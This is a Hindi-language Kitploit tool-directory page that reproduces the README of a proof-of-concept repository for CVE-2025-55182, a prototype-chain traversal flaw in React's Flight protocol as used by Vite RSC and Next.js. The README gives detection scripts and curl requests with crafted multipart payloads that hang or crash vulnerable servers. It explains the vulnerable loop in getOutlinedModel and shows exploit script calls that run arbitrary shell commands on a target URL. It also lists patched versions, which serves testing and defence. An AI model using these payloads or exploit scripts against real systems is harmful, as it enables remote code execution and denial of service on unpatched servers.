Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182-poc — वास्तविक CVE-2025-55182 पहचान और शोषण। कोई बकवास LLM नहीं। | Kitploit
उपकरण/GitHubGitHub/acheong08/cve-2025-55182-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubacheong08/cve-2025-55182-poc

CVE-2025-55182-poc

वास्तविक CVE-2025-55182 पहचान और शोषण। कोई बकवास LLM नहीं।

रिपॉजिटरी देखें
10119 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182

React Flight प्रोटोकॉल कमजोरी जो चंक संदर्भों के माध्यम से प्रोटोटाइप श्रृंखला ट्रैवर्सल की अनुमति देती है। bullshit-react-project के विरुद्ध परीक्षण।

डिटेक्शन

यह थोड़ा पुराना है क्योंकि असली PoC अब सामने आ चुका है।

Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com

या दोनों करने के लिए बस bash ./detect.sh https://example.com चलाएँ।

दोनों स्क्रिप्ट एक वैकल्पिक टाइमआउट पैरामीटर स्वीकार करते हैं (Vite के लिए डिफ़ॉल्ट 3s, Next.js के लिए 5s)।

Vite डिटेक्शन कैसे काम करता है

x-rsc-action हेडर को $1:toString पेलोड के साथ भेजता है। कमजोर सर्वर अनिश्चित काल तक हैंग रहते हैं; पैच किए गए सर्वर सामान्य रूप से प्रतिक्रिया देते हैं। पहले RSC एंडपॉइंट की जाँच करता है (अमान्य एक्शन पर HTTP 500 की उम्मीद करता है)।

Next.js डिटेक्शन कैसे काम करता है

पेज प्रतिक्रिया से सर्वर एक्शन आईडी (पैटर्न $ACTION_ID_<hash>) खोजता है, फिर भेजता है:

curl -X POST "http://localhost:3000" \
  -H "Next-Action: <action_id>" \
  -H "Accept: text/x-component" \
  -F '0=["$1:a:a"]' \
  -F '1={}'

कमजोर सर्वर हैंग होते हैं; पैच किए गए सर्वर जल्दी प्रतिक्रिया देते हैं।

पैचिंग

Next.js: 16.0.7, 15.5.7, या 15.4.8 में अपग्रेड करें
React (Vite RSC): 19.0.1+, 19.1.2+, या 19.2.1+ में अपग्रेड करें

कमजोरी के विवरण

React का Flight प्रोटोकॉल चंक संदर्भों के माध्यम से प्रोटोटाइप श्रृंखला ट्रैवर्सल की अनुमति देता है। getOutlinedModel फ़ंक्शन hasOwnProperty जाँच के बिना रेफरेंस पथों पर पुनरावृत्ति करता है:

for (key = 1; key < reference.length; key++)
  parentObject = parentObject[reference[key]];

यह $1:constructor:constructor को {}.constructor.constructor → Function पर ट्रैवर्स करने की अनुमति देता है।

मैनुअल परीक्षण (Vite RSC)

एंडपॉइंट: कोई भी पथ जिसमें x-rsc-action हेडर हो
एक्शन ID: 710363d987f5#loginUser (या कोई भी मान्य सर्वर एक्शन)

PoC: Function कंस्ट्रक्टर को लागू करना

curl -X POST "http://localhost:4173/xyz" \
  -H "x-rsc-action: 710363d987f5#loginUser" \
  -F '0={"then":"$1:constructor:constructor"}' \
  -F '1={"a":"b"}'

कमजोर: Internal Server Error
पैच किया गया: सामान्य प्रतिक्रिया

ध्यान दें कि यदि आपके x-rsc-action ID गलत हैं तो पैच किए गए सर्वर पर आपको 500 त्रुटि मिलेगी। बस इतना है कि सर्वर लॉग अलग होंगे।

सर्वर लॉग (कमजोर, हमेशा)

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>)

Function कंस्ट्रक्टर को .then() के माध्यम से लागू किया गया जब ऑब्जेक्ट को await किया गया। V8 तर्क के रूप में resolve/reject फ़ंक्शन पास करता है, जो function () { [native code] } में स्ट्रिंगिफ़ाई होते हैं - इसलिए सिंटैक्स त्रुटि।

सर्वर लॉग (पैच किया गया, अमान्य x-rsc-action)

Error: server reference not found '310363d987f5'
    at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
    at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
    at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
    at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
    at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)

मान्य x-rsc-action के साथ कोई सर्वर लॉग नहीं दिखता। आप एक वास्तविक सर्वर एक्शन चलाकर और डेव टूल्स में अनुरोध को कैप्चर करके सही x-rsc-action पा सकते हैं।

नोट्स

$1:toString पेलोड कमजोर सर्वरों को अनिश्चित काल तक हैंग कर देता है - डिटेक्शन स्क्रिप्ट यही उपयोग करती हैं। मैंने लगभग सब कुछ आज़माया है लेकिन RCE प्राप्त नहीं कर सका।

शोषण

Vite Rsc के लिए:

bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'

NextJS के लिए:

bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'

श्रेय maple3142 को -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

मैंने बस कुछ रैपिंग की और इसे Vite के लिए अनुकूलित किया जो शुद्ध ESM है और इसलिए इसमें require नहीं है।

टूल डाउनलोड करें